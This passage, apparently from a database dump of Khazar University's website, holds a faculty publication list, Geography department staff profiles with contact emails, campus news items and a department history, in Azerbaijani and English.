Rashba spin-orbit interaction on the Josephson tunneling between superconducting nanowires. PHYSICAL REVIEW B 96, 014519 (2017) p.1-15. DOI: 10.1103/PhysRevB.96.01451&nbsp;&nbsp;https://journals.aps.org/prb/abstract/10.1103/PhysRevB.96.014519</li><li>N. Safarov,&nbsp; N. Haydarova. System Monitoring of the Emotional State of Students in High School. American Journal of Data Mining and Knowledge Discovery.&nbsp; Vol. 2, No. 3, 2017, pp. 76-79. doi:10.11648/j.ajdmkd.20170203.11, 4.&nbsp;http://article.sciencepublishinggroup.com/pdf/10.11648.j.ajdmkd.20170203.11.pdf&nbsp;<br></li><li style=\"text-align:justify\">Nuru Safarov. Polymer - Silicon Sensor for Determination Flow. Global Journal of Engineering Science and Research Management.&nbsp;3(9): September, 2016, p.19-21/&nbsp;DOI: 10.5281/zenodo.62006,&nbsp;&nbsp;http://www.gjesrm.com/Issues%20PDF/Archive-2016/September-2016/3.pdf&nbsp;<br></li><li>Nuru Səfərov. Şüa konsentratorunda materiallarin istiliyə dözümlülü. Maşınqayırmada intellektual texnologiyalar. Beynəlxalq elmi-texniki konfrans. 28-30 sentyabr 2016., 3.&nbsp;<br></li><li>S.F.Humbatova, Sh.Z.Tapdigov, S.M.Mammadova, N.A.Safarov, D.B.Tagiyev, N.A.Zeynalov. Synthesis Of Silver Nanoparticles In Different Polymers Environment. Azərbaycan Kimya Jurnali&nbsp; &nbsp;№&nbsp; 4&nbsp; 2016, s. 6-10.&nbsp;<br></li><li>Rena J.Kasumova, S. R. Figarova, Sh. Sh. Amirov, G. A. Safarova, N. N. Heydarov. On Influence of Temperature and Doped Concentrations on the Frequency Conversion Efficiency in Erbium-Doped Zinc Oxide Films. American Journal of Optics and Photonics. Vol. 4, No. 6, 2016, pp. 57-63. doi: 10.11648/j.ajop.20160406.11,&nbsp;http://article.sciencepublishinggroup.com/pdf/10.11648.j.ajop.20160406.11.pdf</li><li>Short-wave photosensivity in the irradiated silicon photoconverters with optical coverings. Habarlar, ANAS, 2005, №5, p.51-55Study of the recovery time of the micro-pixel avalanche photodiodes.&nbsp; Fizika 2012, c.XVIII, N1, p.10-12&nbsp;<br></li><li>Study of the recovery time of the micro-pixel avalanche photodiodes.&nbsp; Fizika 2012, c.XVIII, N1, p.10-12&nbsp;<br></li><li>Исследование влияния альфа частиц с энергией 4,8Mэв на физические свойства микропиксельных лавинных фотодиодов. Elmi mecmueler 2012. C.14, N1, c.12-14&nbsp;<br></li><li>Conductivity photoquenching effect in polymer–ferrocene composites. Semiconductors, ISSN: 1063-7826, Vol: 45, Issue: 4, Date: 2011-04-01, Start page: 503, # of pages: 7</li><li>Y-Radiation Stimulated Structural Transition of Monoclinic TlInS2 to Hexagonal Phase. Japanese Journal of Applied Physics, ISSN: 0021-4922, Vol: 50, Issue: 5, Date: 2011</li><li>Controlling system for emotional state of working personnel. 7th&nbsp;international conference on TPE (ICTPE-2011), Lefkosa, TR Northern Cyprus, 7-9 July, p.553-555.&nbsp; 2011</li><li>Automated system for control and correction functional state of human. 5th&nbsp;international conference on Application of Information and Communication Technologies, 12-14October 2011, Baku, Azerbaijan, 208-210</li><li>Correlation of the optical properties with ε(T)- dependence at ferroelectric phase transition in TlInS2&nbsp;doped with different impurities. 17th&nbsp;International Conference on Ternary and Multinary Compounds 27-30September, 2010, Baku, p.63</li><li>A new avalanche photodiode with wide linearity range. J. Physics NAS, vol. XVI,Number 2, pp.367-369, 2010</li><li>Effect of electrical photo guenchinq in polymer – ferrocene. J. Physics NAS, vol. XVI,Number 2, pp.378-380, 2010</li><li>Independent photoelectric installation with thermodynamic observation the sun. 10-th Baku Intern. Congress “Energy, Ecology, Economy”, 23-25 September, Baku, 2009, p.91-93</li><li>Performance of new micro-pixel avalanche photodiodes from Zecotek Photonics. Nuclear Instruments and Methods in Physics Research A, 610 (2009) 381-383</li><li>Method for increasing conversion efficiency of solar energy into electric power and a device for carrying out said method.Patent. WO/2009/105840</li><li>Investigation of si-sio2/obligo-β-naphthol/metal heterostructures. Scientific Israel - Technological Advantages, vol 11, No 1: Material Engineering, 2009. p. 9-14&nbsp;</li><li>Basic construction for solar power plants. 10-th Baku Intern. Congress “Energy, Ecology, Economy”, 23-25 September, Baku, 2009, p.93-96</li><li>Application nanotechnologies for increase of efficiency of a solar photocell.&nbsp;Ecoenergetika, #1, 2009, p.39-42</li><li>Hybrid organic – silicon nano-composite devises and risk assessment of&nbsp; nanobiotechnologies. Abstracts Book. NATO&nbsp; ARW 2008, Environmental and Biological Risks of Nanobiotechnology, Nanobionics and Hybrid Organic-Silicon Nanodevices (Silicon vs Carbon), Saint-Petersburg, Russia</li><li>Photogeneration processes in semiconductive polymeric gamma detectors.V Eurasian Conference “Nuclear science and its application”, 2008, Ankara, Turkey</li><li>Synthesis of quantum dots and mesoporouse of TiO for solar cells. J. Physics NAS, v.XIV, #3, pp.154-157, 2008.</li><li>Solar concentrator Patent. Patent N 2008, 0041, 07.03.2008 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</li><li>Automatic photoelectric device for most optimum illumination of objects. ICCES, vol.086, #1, p.1-6, 2008</li><li>Investigation of photogeneration processes in semiconductive polymers. Fizika, 2008, v.XIV, #1, p.10-13</li><li>Electric and luminescent properties of radiation detection materials CdTe:Cl. Proceeding of the 9-th Baku Intern. Congress “Energy, Ecology, Economy”, Baku, 2007, p.283-286</li><li>Thermophotovoltaic properties of Bi2Te3 and Bi2Se3. Fizika, 2007, v.XIII, #4, Baku, p.156-158</li><li>Matrix sensor of stream on the bases of composite materials. International Conference on Computational and Experimental Engineering and Science, Jour. ICCES, vol.1, #1, pp.1-5, 2007</li><li>Polymer matrix sensors. Book of Abstracts. The 3-rd International Congress of Nanotechnology 2006, October 30 – November 2, San Francisco, USA</li><li>A solar power plant with high performance solar cells and thin concentrators made of Al-backed epoxy coated polymers. 3rd Int. Conf. on Tech. and Phys. Prob. in Power Engin, May 29-31, 2006 Ankara, Turkey, p.1037-1039&nbsp;<br></li><li>Serial resistance of the solar converter on the basis of silicon working at the concentrated radiation. 3rd Intern. Conf. on Technical and Physical Problems in Power Engineering, May 29-31, 2006 Ankara, Turkey, p.1070-1071&nbsp;<br></li><li>Thermophotovoltaic solar energy converters on the basis AVBVI. 2006 IEEE 4th World conf. on Photovoltaic Energy Conversion, 7-12 May 2006, Hawaii, USA. Poster Session I-Conc. PV and TPV, #164.&nbsp;<br></li><li>A solar power plant with high performance solar cells and thin concentrators. Inter.Conf. “Renewable Energy –2006”, Makuhari Messe Chiba, Japan, 2006, sr043H00094</li><li>Gamma radiation detectors on the base CdTe for environmental monitoring. Book of abstracts. The 4-th Eurasian Conference on Nuclear Science and its Application, 2006, Baku. Pp. 189-190</li><li>Matrix composite sensor for measurement mere stream, J.Physics NAS, 2006, v.12, #1-2, p.38-40. Baku</li><li>Measurement heat stream in mere by the matrix sensor. Proc. US/EU –Baltic International Symposium “Integrated ocean observation systems for managing global and regional ecosystems using marine research, monitoring and technologies” 2006,4F, #147, May 23-24, Klaipeda, Lithuania</li><li>Thermophotovoltaic converters on the basis AvBvi for high concentration solar applications &nbsp;International Scientific Journal for Alternative Energy and Ecology, Russian,&nbsp; №5(37) (2006) р. 85-87</li><li>Monitoring of intensity of electromagnetic radiation.3rd&nbsp;Int.Conference on Technical and Physical Problems in Power Engineering, May 29-31, 2006 Ankara, Turkey, p.687-689</li><li>Devices self-steering of electrical circuit. Patent. I 2005 0059, № а20030081, 25. 04. 2005</li><li>Effect of temperature processing on generative time of life of the bearers in detectors of nuclear particles on the basis of high-ohmic&nbsp; silicon,&nbsp; Inter. Conf. “Fizika-2005”,&nbsp; 7-9 June 2005 – Baku, Azerbaijan,&nbsp; p. 827-829</li><li>A new&nbsp; low-noise avalanche photodiode with micro-pixel structure, Fizika,&nbsp; №4,&nbsp; 2004, p.126-127 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</li><li>Structural change SiO2&nbsp;used in multilayered silicon solar elements. &nbsp;Ecoenergetics,&nbsp; №2,&nbsp; 2004,&nbsp; с. 26-27</li><li>Using magnetic field in cooling systems of solar photoelectric sets 2nd&nbsp;International Conference on Technical and Physical Problems in Power Engineering 6-8 September 2004 Tabriz p.779-780</li><li>Short-wave photosensivity&nbsp; in the irradiated silicon photoconverters with optical coverings 2nd&nbsp;Inter. Conf. on Technical and Physical Problems in Power Engineering 6-8 September 2004 Tabriz-Iran, p. 810-812&nbsp;</li><li>New cationo-active oligomeric electrolytes based on epichlorohydrin and amines XVIII. Ulusal Kimya Kongresi, Kars, 5-9 temmuz 2004,&nbsp; p.1061</li><li>About a possibility of usage of a magnetic field in refrigerating systems of a&nbsp; solar photoelectric system. Power engineering, ecology, 2st Intern.scien. and techn. conference, 8-11 Sept. 2004, Tobolsk, Russian, 1, p..237-239</li><li>Features of application of photoelectric modules in mountain conditions of Azerbaijan, Power engineering, ecology, 2st International conference, 8-11 September 2004, Tobolsk, Russian,&nbsp; 1, p.234-236</li><li>The influences of the surface effects on the mechanisms of the current passage in the silicon photo elements with optical coverings. Journal of Physics, 2, p.15-17 (2003)</li><li>Calculation method and results of electricity production by solar photoelectrical devices for the Azerbaijan climatic regions and zones. Journal “Power engineering problems” 1, p.20-27 (2003),</li><li>Influence of radiation on photo-electric characteristics of&nbsp; silicon photo cells with optical coverings, 4-th Inter. Conf.\" Nuclear and radiative physics \" Alma-ate, Republic of Kazakhstan 15-17 september 2003, р.195-196</li><li>Surface effects in silicon solar elements, First International Conference on Technical &amp; Physical Problems in Power Engineering, 23-25 April 2002 Baku-Azerbaijan, p. 439-441</li><li>The photoelectric and radiative characteristics of silicon photovoltaic converters with double-ended sensitivity, Problem of a power engineering, &nbsp;2000, №2, p.86-91</li><li>Effect of direction of a beam coupling on velocity of a degradation of parameters of silicon solar elements, &nbsp;Geliotechnica, 1994, №6,</li><li>A research of the effect of the expedited electrons on CuО2, used in Si elements,Geliotechnica,1994, №3,p.11-13</li><li>Silicon solar elements with covering Nd2O3&nbsp;and ZnS + Nd2O3. Journal of Solar Engineering, 1994, 1, p.14-16</li><li>Some features of silicon solar elements with double-ended sensitivity, Geliotechnica, 1993,&nbsp; №6, 13</li><li>Silicon solar elements with covering SiO3&nbsp;and&nbsp; Si3N5.&nbsp;Journal of Solar Engineering, 1993, 1, p.75-77</li><li>Silicon solar elements with covering Ta2O3.&nbsp;Journal of Solar Engineering, 1992, 5, p.11-13</li></ol><p></p>'),(936,609,'az','İşçi heyət','İşçi heyət','<p><img src=\"/files/geography_depart/images/Rovshan-Abbasov.jpg\" style=\"float:left;width:150px;height:189px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/geography_depart/CV/Rovshan_Abbasov.pdf\"><strong>Dr.&nbsp;Rövşən Abbasov</strong></a></p><p><strong>Departament rəhbəri </strong> <br></p><p>Fulbrayt təqaüdçüsü, Kaliforniya Universiteti, Davis, ABŞ  <br></p><p>Coğrafiya üzrə fəlsəfə doktoru&nbsp;(Bakı Dövlət Universiteti, Azərbaycan)  </p><p><strong>E-mail: </strong><a href=\"Mail to:abbasov[at]khazar.org\">rabbasov[at]khazar.org</a></p><p><strong>Phone:</strong> (+994 12) 421 7916&nbsp;(273)</p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/geography_depart/CV/CV_Rovshan_Karimov.pdf\"><strong><img src=\"/files/geography_depart/images/Rovshan-Karimov.jpg\" style=\"width:150px;height:180px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Dr. Rövşən Kərimov</strong></a></p><p>Coğrafiya üzrə fəlsəfə doktoru (Azərbaycan Milli Elmlər Akademiyası,&nbsp;Coğrafiya İnstitutu)</p><p><strong>E-mail:&nbsp;</strong><a href=\"http://Mail%20to:rovshan_karimov@yahoo.com/\">rovshan_karimov[at]yahoo.com</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/geography_depart/images/Elvin-Aliyev.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:189px\"><a href=\"http://www.khazar.org/files/geography_depart/CV/CV_Elvin_Aliyev.pdf\"><strong>Dr.&nbsp;Elvin&nbsp;Alıyev</strong></a>  </p><p>Texnika üzrə fəlsəfə doktoru (Azərbaycan Respublikası Müdafiə Sənayesi Nazirliyi)</p><p>Magistr,&nbsp;Tematik kartoqrafiya (Bakı Dövlət Universiteti, Azərbaycan)</p><p><strong>E-mail:</strong> <a href=\"http://Mail%20to:elvin.aliyev.m@gmail.com/\">elvin.aliyev.m[at]gmail.com</a></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/geography_depart/Cavidan%20Aliyev.pdf\"><img src=\"/files/geography_depart/IMG_9379.JPG\" style=\"width:0px;height:0px;margin:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/geography_depart/CV/Cavidan_Aliyev.pdf\"><img src=\"/files/geography_depart/images/cavidan-aliyev.jpg\" style=\"border:0px #0000ee;width:150px;height:205px;margin-right:7px;margin-bottom:7px;float:left\">Cavidan Əliyev</a></strong></p><p>Magistr, Tətbiqi Hidrometeorologiya (Rusiya, Sankt-Peterburq, Rusiya Dövlət Hidrometeorologiya Universiteti)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:cavidan99@list.ru\">cavidan99[at]list.ru</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<strong><a href=\"http://www.khazar.org/files/geography_depart/CV/Tural_Maharramov.pdf\"><img src=\"/files/geography_depart/images/Tural-Maharramov.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:182px\">Tural Maharramov</a></strong>&nbsp;<br><p>M.Sc. in Ecological Engineering (National Aviation Academy,&nbsp;Azerbaijan)&nbsp;</p><p>M.Sc. in&nbsp;Environmental Engineering (University of Nottingham, UK)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"http://Mail%20to:%20tural.mhr@gmail.com/\">tural.mhr[at]gmail.com</a></p><p><br></p><p><br></p>\r\n<hr>  \r\n<p><strong><a href=\"http://www.khazar.org/files/geography_depart/CV/rashad_allahverdiyev.pdf\"><img src=\"/files/geography_depart/images/rashad_allahverdiyev.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:142px\">Rashad Allahverdiyev</a></strong></p><p>MS in Biological Sciences&nbsp;(Baku State University,&nbsp;Azerbaijan)  </p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:allahverdiyev.r@eco.gov.az\">allahverdiyev.r[at]eco.gov.az</a>  </p><p><br></p>'),(3541,2083,'az','Coğrafiya və ətraf mühit departamentinin əməkdaşları Malaziyada beynəlxalq forumda iştirak etdilər','2017-ci il aprelin 18-i və 19-da Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov və həmin departamentin müəllimi Rövşən Kərimov Malaziyanın...','<p>2017-ci il\r\naprelin 18-i və 19-da Xəzər Universiteti Coğrafiya və ətraf mühit\r\ndepartamentinin müdiri Rövşən Abbasov və həmin departamentin müəllimi Rövşən Kərimov\r\nMalaziyanın Kajang şəhərində keçirilən XI Kooperativ Yaşıl İnkişaf Modelləşmə\r\nForumunda (<em>11<sup>th</sup> Cooperative\r\nGreen Growth Modeling Forum</em>) iştirak etdilər. Forumda Rövşən Abbasov istixana\r\nqazlarının azalması məqsədi ilə “Bakı şəhərində nəqliyyatın optimallaşdırılması”\r\ntədqiqatının nəticəsi ilə bağlı təqdimat etdi.</p>'),(2617,1570,'en','Research Seminar ','On November 14, 2016, the Khazar University Research seminar/Journal Club held a routine meeting. In the first half of the seminar, Saida Orujova of the Library and Information...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On November 14, 2016, the Khazar\r\nUniversity Research seminar/Journal Club held a routine meeting. In the first\r\nhalf of the seminar, Saida Orujova of the Library and Information Center made a\r\npresentation on “Performing Searches using Electronic Resources” for graduate\r\nstudents, researchers and instructors of the Biology Department. The\r\npresentation covered the electronic catalog, its database and the DSpace\r\nelectronic archive. In the second part of her training, the practiced\r\ncompleting tasks using what they had learned. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Then Parvana Bakhshaliyeva, PhD student\r\nof the Biology Department, gave an analysis and evaluation of research results\r\nof the article “Genetic Characteristics of Phenylketonuria among Newborns.”</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Later Dr. Irada Khalilova, Head of the\r\nBiology Department and Director of the Cell Pathology Research Center, made a\r\npresentation on her paper “Oxidized glutathione and uric acid as biomarkers of\r\nearly cystic fibrosis lung disease” which was accepted to <em>Cystic Fibrosis</em>\r\njournal in Europe. She noted the significance of early diagnosis of cystic\r\nfibrosis. The seminar concluded with discussions and a plan for which PhD\r\nstudents will share their work in the next seminar.&nbsp;</p>'),(2618,1571,'en','Khazar University Instructor at International Conference','On November 14-15, 2016, an international conference entitled “Shared Values and New Challenges in Academic and Cultural Movements in Turkish Studies” was held...','<p>On November\r\n14-15, 2016, an international conference entitled “Shared Values and New\r\nChallenges in Academic and Cultural Movements in Turkish Studies” was held in\r\nhonor of the 90<sup>th</sup> anniversary of Turkish Studies Congress. </p>\r\n<p>The conference\r\nwas organized by the Ministry of Education of the Azerbaijan Republic, the\r\nMinistry of Culture and Tourism of the Azerbaijan Republic, the Presidium of\r\nthe Azerbaijan Republic National Academy of Sciences; the Nasimi Linguistics\r\nInstitute of the National Academy of Sciences; the Nizami Literature Institute\r\nof the National Academy of Sciences; and the Z. Bunyadov Oriental Studies\r\nInstitute. </p>\r\n<p>Participants\r\nincluded the following students of Khazar University School of Education: Ema\r\nNiftaliyeva, Sevda Farajova, Khatira Aghayeva, Ilaha Gasimzade, and Nizami\r\nAlisoy. Associate Professor Dr. Elmira Mammadova-Kekeci, a roundtable held by\r\nthe Turkology Journal as part of the event. The roundtable was chaired by\r\nAcademician Kamal Abdullayev, Editor-in-Chief of the journal. During the\r\nmeeting, Turkic Studies scholars such as Ahmad Bican Ercilasun, Osman Fikri\r\nSartqaya, Fikret Turkmen, Ramazan Gorkhmaz, Ramil Valeyev, Ramiz Asgar, Mehman\r\nMusaoghlu, Mukhtar Imanov, and Elbrus Azizov answered students’ questions. </p>\r\n<p>The staff of the\r\nTurkology Journal highly evaluated students’ participation in the roundtable.\r\nThey plan to hold similar events in the near future.&nbsp;</p>'),(937,609,'en','Faculty and Staff','Faculty and Staff','<p><img src=\"/files/geography_depart/images/Rovshan-Abbasov.jpg\" style=\"border:0px  #000000;width:150px;height:189px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/geography_depart/CV/Rovshan_Abbasov.pdf\"><strong>Rovshan Abbasov</strong></a></p><p><strong>Head of Department</strong>  <br></p><p>Fullbright scholarship (University of California, Davis, USA)</p><p>PhD&nbsp;in Geographical&nbsp;Sciences&nbsp;(Baku State University,&nbsp;Azerbaijan)<br></p><p><strong>E-mail:</strong> <a href=\"http://mailto:rabbasov@khazar.org\">rabbasov[at]khazar.org</a></p><p><strong>Phone:</strong> (+994 12) 421 7916&nbsp;(273)</p>\r\n<hr>\r\n<strong><a href=\"http://www.khazar.org/files/geography_depart/NewFolder/CV_%20Rovshan_Karimov%20%20.pdf\"><img src=\"/files/geography_depart/images/Rovshan-Karimov.jpg\" style=\"width:150px;height:180px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a></strong><p><strong><a href=\"http://www.khazar.org/files/geography_depart/CV/CV_Rovshan_Karimov.pdf\">Rovshan Karimov</a></strong></p><p>PhD&nbsp;in&nbsp;Geographical&nbsp;Sciences (Azerbaijan National Academy of Sciences,&nbsp;Institute of Geography)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:rovshan_karimov@yahoo.com\">rovshan_karimov@yahoo.com</a></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/geography_depart/images/Elvin-Aliyev.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:189px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/geography_depart/CV/CV_Elvin_Aliyev.pdf\">Elvin Aliyev</a></strong></p><p>PhD&nbsp;in&nbsp;Engineering   (The Ministry of Defense Industry of Azerbaijan Republic, National Aerospace Agency)</p><p>MS&nbsp;in&nbsp;Thematic Cartography  (Baku State University,&nbsp;Azerbaijan)  <br></p><p><strong>E-mail:</strong> <a href=\"mailto:elvin.aliyev.m@gmail.com\">elvin.aliyev.m[at]gmail.com</a></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/geography_depart/Cavidan%20Aliyev.pdf\"><img src=\"/files/geography_depart/IMG_9379.JPG\" style=\"width:0px;height:0px;margin:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/geography_depart/CV/Cavidan_Aliyev.pdf\"><img src=\"/files/geography_depart/images/cavidan-aliyev.jpg\" style=\"border:0px #0000ee;width:150px;height:205px;margin-right:7px;margin-bottom:7px;float:left\">Javidan&nbsp;Aliyev</a></strong></p><p>MA&nbsp;in Meteorological Frecasts (Russian State Hydrometeorological University)  </p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:cavidan99@list.ru\">cavidan99[at]list.ru</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<strong><a href=\"http://www.khazar.org/files/geography_depart/NewFolder/Tural%20Maharramov_CV_Khazar%20university%20(ENG).pdf\"><img src=\"/files/geography_depart/images/Tural-Maharramov.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:182px\"></a></strong><p><strong><a href=\"http://www.khazar.org/files/geography_depart/CV/Tural_Maharramov.pdf\">Tural Maharramov</a></strong></p><p>MS&nbsp;in Ecological Engineering (National Aviation Academy,&nbsp;Azerbaijan)&nbsp;</p><p>MS&nbsp;in&nbsp;Environmental Engineering (University of Nottingham, UK)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"http://Mail%20to:%20tural.mhr@gmail.com/\">tural.mhr[at]gmail.com</a></p><p><br></p>  \r\n<hr>  \r\n<p><strong><a href=\"http://www.khazar.org/files/geography_depart/CV/rashad_allahverdiyev.pdf\"><img src=\"/files/geography_depart/images/rashad_allahverdiyev.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:142px\">Rashad Allahverdiyev</a></strong></p><p>MS in Biological Sciences&nbsp;(Baku State University,&nbsp;Azerbaijan)  </p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:allahverdiyev.r@eco.gov.az\">allahverdiyev.r[at]eco.gov.az</a>  </p><p><br></p>'),(3542,2084,'az','Amerikalı professor “İctimai danışıq” mövzusunda seminar keçirdi','2017-ci il aprelin 17-ində Xəzər Universiteti “Neftçilər” korpusunda “İctimai danışıq” mövzusunda seminar keçirildi. Seminarın qonağı Amerikanın Georgetown Universitetinin...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2017-ci il aprelin 17-ində Xəzər\r\nUniversiteti “Neftçilər” korpusunda “İctimai danışıq” mövzusunda seminar\r\nkeçirildi. Seminarın qonağı Amerikanın Georgetown Universitetinin professoru\r\nDr. Sam Potolicchio idi. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Humanitar və sosial elmlər fakültəsinin\r\ntələbələrinin iştirakı ilə gerçəkləşən bir saatlıq seminarda iştirakçılara\r\neffektiv ictimai danışığın sirləri, siyasi kommunikasiya və nitq öncəsi həyəcanın\r\nqarşısının alması yolları haqqında danışıldı.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Seminar ABŞ-ın Azərbaycandakı səfirliyinin\r\ntəşəbbüsü ilə Xəzər Universiteti Peşə İnkişaf Mərkəzi və Beynəlxalq Əlaqələr\r\nOfisi tərəfindən təşkil olunmuşdu.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Çıxışın ardınca Dr. Potolicchio\r\nuniversitetin rektoru Dr. Hassan Niknafs ilə görüşdü.</p>'),(3544,2016,'en','Gala Concert for the Cultural Festival of Sumgayit School Children to be held in Sumgayit State Drama Theater ','On April 11, 2017, at 18:00 Gala concert for the Cultural Festival of Sumgayit school children will be held in Sumgayit State Drama Theater with the coordination of Khazar...','<p>On April 11, 2017, at 18:00 Gala concert for the Cultural\r\nFestival of Sumgayit school children will be held in Sumgayit State Drama\r\nTheater with the coordination of Khazar University\'s affiliate Dunya School.</p>'),(1988,1211,'az','“Xəzər Universiteti yenə öndədir”','2016-cı il iyunun 16-da “Azadlıq” qəzetinin rəsmi internet səhifəsində QS təşkilatının müəyyənləşdirdiyi 2016-cı il üçün inkişaf etməkdə olan Avropa və Mərkəzi Asiya ölkələrinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il iyunun 16-da “Azadlıq” qəzetinin\r\nrəsmi internet səhifəsində QS təşkilatının müəyyənləşdirdiyi 2016-cı il üçün\r\ninkişaf etməkdə olan Avropa və Mərkəzi Asiya ölkələrinin ən yaxşı universitetlərinin\r\nillik reytinq siyahısına düşən Azərbaycan universitetlərinin adları\r\nyayınlanmışdır. Qeyd olunur ki, Azərbaycan universitetləri arasında ən yaxşı nəticə\r\nXəzər Universitetinə (68-ci yer) məxsusdur.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəbəri tam şəkildə bu link vasitəsilə\r\noxumaq olar: <a href=\"http://www.azadliq.info/141632.html\">http://www.azadliq.info/141632.html</a>.</p>'),(938,610,'az','Tarixi','Tarixi','<p>Ətraf Mühit Elmləri sahəsində əsas tədqiqatların həyata keçirilməsi üçün Ətraf Mühit Araşdırmaları Mərkəzi (ERCKU) 2007-ci ildə yaradılıb. ERCKU yarandığı gündən etibarən Təhsil və Ətraf Mühit Elmləri sahəsində fəal araşdırma aparır. 2010-cu ildə Xəzər Universitetində yeni Tarix və Coğrafiya ixtisasına əlavə olaraq yeni ixtisaslar geniş palitrası açılmışdır. Bu ixtisanın əsas tələblərinə cavab vermək üçün GEN qurulub. GEN\'in məktəbə nisbətən yeni bir olmasına baxmayaraq, şöbənin heyəti uzun illər birləşmiş peşə təcrübəsi ilə uzun müddətli tədqiqat və təhsil təcrübəsinə malikdir.</p><p>Coğrafiya və ətraf mühit şöbəsi yaxınlarda yeni bir Coğrafiya tədris proqramını təqdim etdi. Bu kurikulum son standartlara əsaslanır və işəgötürənlərin tələblərini əks etdirir.</p>'),(939,610,'en','History','History','<p>In order to accomplish basic research in the field of Environmental Sciences, the Environmental Research Center (ERCKU) was established in 2007. Since its establishment, the ERCKU has actively conducted research in the fields of Education and Environmental Sciences. In 2010 a broad palette of new specialties was opened at the Khazar University, including the addition of the new History and Geography specialty. In order to meet the primary requirements of this specialty, the GEN was established. Despite the fact that GEN is a relative newcomer to the school, the department’s staff has a long-term research and educational background with years of combined professional experience.</p><p>The&nbsp;Department of Geography and Environment has recently introduced a new Geography curriculum. This curriculum is based&nbsp;on recent standards and reflects&nbsp;the&nbsp;requirements of employers.</p><p>Modern geography is an all-encompassing discipline that foremost seeks to understand the Earth and all of its human and natural complexities. That is why&nbsp;the&nbsp;newly developed curriculum reflects&nbsp;the&nbsp;changing scenery of these problems and approaches to solving them.</p><p>Recently, various government, non government and private organizations in Azerbaijan&nbsp;have begun seeking&nbsp;highly qualified geographers. Recent rapid economic development in Azerbaijan has caused a shortage of highly qualified specialists including geographers. Upon graduation, Geography alumni&nbsp;may be employed not only as school teachers, but also by various government and private institutions working as hydrologists, water managers, GIS specialists, meteorologists and remote sensing specialists. In order words, the curriculum of the department is sharply focused on employability.&nbsp;</p>'),(4611,2709,'en','Khazar University Student Becomes World Champion Again','From November 28 to December 1, in Kiev, the capital of Ukraine, World Championship in Wushu Sanda, one of the Eastern...','<p>From November 28 to December 1, in Kiev, the capital of Ukraine, World Championship in Wushu Sanda, one of the Eastern hand-to-hand fights, was held. At 80 kg weight class, Firidun Hasanov, senior student of Humanities and Social Sciences Department, at Khazar University, represented the country at the Championship. Getting victory over all his fellow competitors, Firidun Hasanov took the 1<sup>st</sup>&nbsp;place and was named the World Champion again. He was awarded a gold medal.</p><p>It is worth mentioning that Firidun Hasanov had been the winner of several Asian, European and worldwide competitions before that.</p>'),(940,611,'az','Fənlərin Təsviri','Fənlərin Təsviri','<div><br></div><div><p><strong>GEOG\r\n101 Yerşünaslıq (6 AKTS)</strong></p>\r\n<p>Yer planetində coğrafi vəziyyəti\r\nhaqqında əsas biliyin öyrənilməsi. Əsas bölmələrinə daxildir: Yer bir planet\r\nkimi, Atmosfer, Hidrosfer, Daxili Proseslər, Torpaqlar, Flora və Fauna, Çay\r\nprosesləri Arid&nbsp; torpaqların topoqrafiyası.&nbsp; </p>\r\n<div>&nbsp;</div>\r\n<p><strong>GEOG\r\n103 Geomorfologiy (6 <strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Yerin topoqrafik relyefinin yaranmasında tektonik\r\nproseslər, su, aşınma, qravitasıya, buz və küləyin əlaqəsi. Əsas bölmələrinə\r\ndaxildir: Çay prosesləri,\r\nEol prosesləri, Yamac 